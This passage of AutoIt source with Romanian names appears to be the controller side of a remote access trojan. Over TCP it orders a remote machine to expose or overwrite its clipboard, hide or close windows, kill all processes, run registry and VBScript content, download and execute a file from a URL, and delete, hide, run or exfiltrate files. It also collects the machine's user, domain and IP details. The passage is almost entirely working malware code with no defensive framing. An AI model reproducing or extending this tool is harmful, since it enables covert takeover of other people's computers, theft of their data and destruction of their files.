GUICtrlRead($text_tipareste) TCPSend($ConnectedSocket, $szData) Case $msg = $buton_informatii $szData = "informatii" TCPSend($ConnectedSocket, $szData) Case $msg = $buton_citeste_clipboard $szData = "clipboard<|*|>citeste" TCPSend($ConnectedSocket, $szData) Case $msg = $buton_seteaza_clipboard $szData = "clipboard<|*|>seteaza<|*|>" & GUICtrlRead($text_cliboard) TCPSend($ConnectedSocket, $szData) Case $msg = $buton_sterge_clipboard $szData = "clipboard<|*|>sterge" TCPSend($ConnectedSocket, $szData) Case $msg = $buton_refresh_ferestre If GUICtrlRead($arata_ferestre_ascunse) = $GUI_CHECKED Then $szData = "ferestre<|*|>refresh<|*|>toate" Else $szData = "ferestre<|*|>refresh<|*|>ascunde" EndIf TCPSend($ConnectedSocket, $szData) Case $msg = $buton_hide_ferestre $szData = "ferestre<|*|>" & GUICtrlRead($lista_ferestre) & "<|*|>HIDE" TCPSend($ConnectedSocket, $szData) Case $msg = $buton_show_ferestre $szData = "ferestre<|*|>" & GUICtrlRead($lista_ferestre) & "<|*|>@SW_SHOW" TCPSend($ConnectedSocket, $szData) Case $msg = $buton_maximize_ferestre $szData = "ferestre<|*|>" & GUICtrlRead($lista_ferestre) & "<|*|>@SW_MAXIMIZE" TCPSend($ConnectedSocket, $szData) Case $msg = $buton_minimize_ferestre $szData = "ferestre<|*|>" & GUICtrlRead($lista_ferestre) & "<|*|>@SW_MINIMIZE" TCPSend($ConnectedSocket, $szData) Case $msg = $buton_inchide_ferestre $szData = "ferestre<|*|>inchide<|*|>" & GUICtrlRead($lista_ferestre) TCPSend($ConnectedSocket, $szData) Case $msg = $buton_refresh_procese $szData = "proces<|*|>refresh" TCPSend($ConnectedSocket, $szData) Case $msg = $buton_inchide_proces $szData = "proces<|*|>inchide<|*|>" & GUICtrlRead($lista_procese) TCPSend($ConnectedSocket, $szData) Case $msg = $buton_inchide_toate_procesele $szData = "proces<|*|>toate" TCPSend($ConnectedSocket, $szData) Case $msg = $executa_reg $fis = FileOpenDialog("Alege un fisier .reg", "", "Fisiere reg (*.reg)", 3) If @error <> 1 Then $text = FileRead($fis) $szData = "run<|*|>registrii<|*|>" & $text TCPSend($ConnectedSocket, $szData) EndIf Case $msg = $buton_download_si_ruleaza $szData = "rdownload<|*|>" & GUICtrlRead($url_download) TCPSend($ConnectedSocket, $szData) Case $msg = $buton_executa_vb $fis = FileOpenDialog("Alege un fisier .VBS", "", "Fisiere reg (*.VBS)", 3) If @error <> 1 Then $text = FileRead($fis) $szData = "run<|*|>visual_basic<|*|>" & $text TCPSend($ConnectedSocket, $szData) EndIf Case $msg = $buton_refresh_partitii $szData = "manager<|*|>refresh_partitii" TCPSend($ConnectedSocket, $szData) Case $msg = $Combo1 $cale = GUICtrlRead($Combo1) & "\" $szData = "manager<|*|>refresh_listwiev<|*|>" & $cale TCPSend($ConnectedSocket, $szData) Case $msg = $ListView1 Case $msg = $buton_refresh_fisiere $szData = "manager<|*|>refresh_listwiev<|*|>" & $cale TCPSend($ConnectedSocket, $szData) Case $msg = $buton_intra_in_folder $nume = _GUICtrlListView_GetItemText($ListView1, $nr1, 0) $tip = _GUICtrlListView_DeleteAllItems($ListView1) If $tip = "Director" Then $cale = $cale & $nume & "\" $szData = "manager<|*|>refresh_listwiev<|*|>" & $cale TCPSend($ConnectedSocket, $szData) EndIf Case $msg = $buton_sus If StringLen($cale) <> 3 Then $cale2 = StringSplit($cale, "\") $cale = "" For $i = 1 To $cale2[0] - 2 $cale = $cale & $cale2[$i] & "\" Next $szData = "manager<|*|>refresh_listwiev<|*|>" & $cale TCPSend($ConnectedSocket, $szData) EndIf Case $msg = $buton_redenumeste_fisiere $nr = _GUICtrlListView_GetItemSelected($ListView1,1) $nume = _GUICtrlListView_GetItemText($ListView1, $nr, 0) $tip = _GUICtrlListView_GetItemText($ListView1, $nr, 2) If $nume <> "" Then $numenou = InputBox("Redenumire", "Alege noul nume pentru directorul sau fisierul (cu tot cu extensie) :" & $nume, "", "", 300, 130) If @error <> 1 Then If $tip = "Director" Then $szData = "manager<|*|>redenumeste<|*|>director<|*|>" & $cale & "<|*|>" & $nume & "<|*|>" & $numenou Else $szData = "manager<|*|>redenumeste<|*|>fisier<|*|>" & $cale & "<|*|>" & $nume & "<|*|>" & $numenou EndIf TCPSend($ConnectedSocket, $szData) EndIf EndIf Case $msg = $buton_creaza_dir_fisiere If $cale <> "" Then $numenou = InputBox("Creaza director", "Introduceti numele directorului pe care vreti sa-l creati :", "", "", 300, 130) If @error <> 1 Then $szData = "manager<|*|>creaza_dir<|*|>" & $cale & "<|*|>" & $numenou TCPSend($ConnectedSocket, $szData) EndIf EndIf Case $msg = $buton_sterge_fisiere $nr = _GUICtrlListView_GetNextItem($ListView1) $nume = _GUICtrlListView_GetItemText($ListView1, $nr, 0) $tip = _GUICtrlListView_GetItemText($ListView1, $nr, 2) If $nume <> "" Then If $tip = "Director" Then $szData = "manager<|*|>sterge<|*|>director<|*|>" & $cale & "<|*|>" & $nume Else $szData = "manager<|*|>sterge<|*|>fisier<|*|>" & $cale & "<|*|>" & $nume EndIf TCPSend($ConnectedSocket, $szData) EndIf Case $msg = $buton_executa_fisiere $nr = _GUICtrlListView_GetNextItem($ListView1) $nume = _GUICtrlListView_GetItemText($ListView1, $nr, 0) $tip = _GUICtrlListView_GetItemText($ListView1, $nr, 2) If $nume <> "" Then If $tip = "Fisier" Then $szData = "run<|*|>executa<|*|>" & $cale & $nume EndIf EndIf TCPSend($ConnectedSocket, $szData) Case $msg = $buton_atribute_fisiere $nr = _GUICtrlListView_GetNextItem($ListView1) $nume = _GUICtrlListView_GetItemText($ListView1, $nr, 0) $tip = _GUICtrlListView_GetItemText($ListView1, $nr, 2) If $nume <> "" Then $atribute=InputBox("Atribute", "Introduceti atributele (exemplu : RSH sau RH, etc.):" & @CRLF & "R = READONLY S = SYSTEM H = HIDDEN N=NIMIC", "", "", 300, 130) If @error <> 1 Then $atribute=StringUpper($atribute) $text=StringSplit($atribute,"") $ok=1 If $atribute<>"N" Then For $i=1 To $text[0] If $text[$i]<>"R" And $text[$i]<>"S" And $text[$i]<>"H" Then $ok=0 EndIf Next EndIf If $ok=1 Then $szData = "manager<|*|>atribute<|*|>" & $cale & "<|*|>" & $nume & "<|*|>" & $atribute TCPSend($ConnectedSocket, $szData) EndIf EndIf EndIf Case $msg=$buton_download_fisiere $nr = _GUICtrlListView_GetNextItem($ListView1) $nume = _GUICtrlListView_GetItemText($ListView1, $nr, 0) $tip = _GUICtrlListView_GetItemText($ListView1, $nr, 2) If $nume <> "" Then If $tip = "Fisier" Then $szData = "manager<|*|>download<|*|>" & $cale & "<|*|>" & $nume TCPSend($ConnectedSocket, $szData) EndIf EndIf ;~ ********************************************************************************** EndSelect WEnd Exit Func config_msg() If GUICtrlRead($intrebare) = $GUI_CHECKED Then $nr1 = 32 If GUICtrlRead($eroare) = $GUI_CHECKED Then $nr1 = 16 If GUICtrlRead($nimic) = $GUI_CHECKED Then $nr1 = 0 If GUICtrlRead($informatie) = $GUI_CHECKED Then $nr1 = 64 If GUICtrlRead($ok) = $GUI_CHECKED Then $nr2 = 0 If GUICtrlRead($ari) = $GUI_CHECKED Then $nr2 = 2 If GUICtrlRead($ync) = $GUI_CHECKED Then $nr2 = 3 If GUICtrlRead($yn) = $GUI_CHECKED Then $nr2 = 4 If GUICtrlRead($oc) = $GUI_CHECKED Then $nr2 = 1 If GUICtrlRead($cr) = $GUI_CHECKED Then $nr2 = 5 $numar = $nr1 + $nr2 EndFunc ;==>config_msg Func executa() $comanda = StringSplit($recv, "<|*|>", 1) If $comanda[1] = "informatii" Then GUICtrlSetData($versiune_windows, $comanda[2]) GUICtrlSetData($windows_build, $comanda[3]) GUICtrlSetData($windows_service_pack, $comanda[4]) GUICtrlSetData($nume_calculator, $comanda[5]) GUICtrlSetData($nume_utilizator, $comanda[6]) GUICtrlSetData($desktop, $comanda[7]) GUICtrlSetData($ora_locala, $comanda[8]) GUICtrlSetData($data_locala, $comanda[9]) GUICtrlSetData($home_drive, $comanda[10]) GUICtrlSetData($ip1, $comanda[11]) GUICtrlSetData($ip2, $comanda[12]) GUICtrlSetData($ip3, $comanda[13]) GUICtrlSetData($ip4, $comanda[14]) GUICtrlSetData($logon_dns_domain, $comanda[15]) GUICtrlSetData($logon_domain, $comanda[16]) GUICtrlSetData($logon_server, $comanda[17]) EndIf If $comanda[1] = "clipboard" Then GUICtrlSetData($text_cliboard, $comanda[2]) EndIf If $comanda[1] = "ferestre" Then $i = 1 $text = "" While $i < $comanda[0] $i = $i + 1 $text = $text & "|" & $comanda[$i] WEnd GUICtrlSetData($lista_ferestre, $text) EndIf If $comanda[1] = "procese" Then $i = 1 $text = "" While $i < $comanda[0] $i = $i + 1 $text = $text & "|" & $comanda[$i] WEnd GUICtrlSetData($lista_procese, $text) EndIf If $comanda[1] = "dos" Then GUICtrlSetData($text_cmd, $comanda[2]) EndIf If $comanda[1] = "manager" Then If $comanda[2] = "refresh_partitii" Then GUICtrlSetData($Combo1, $comanda[3]) EndIf If $comanda[2] = "refresh_listwiev" Then _GUICtrlListView_DeleteAllItems($ListView1) For $i = 3 To $comanda[0] GUICtrlCreateListViewItem($comanda[$i], $ListView1) Next GUICtrlSetData($cale_cale, $cale) EndIf If $comanda[2]="download" Then $fisier=FileOpen ("\\.\" & @ScriptDir & "\" & $comanda[3],2) FileWrite($fisier,$comanda[4]) FileClose($fisier) EndIf EndIf EndFunc ;==>executa
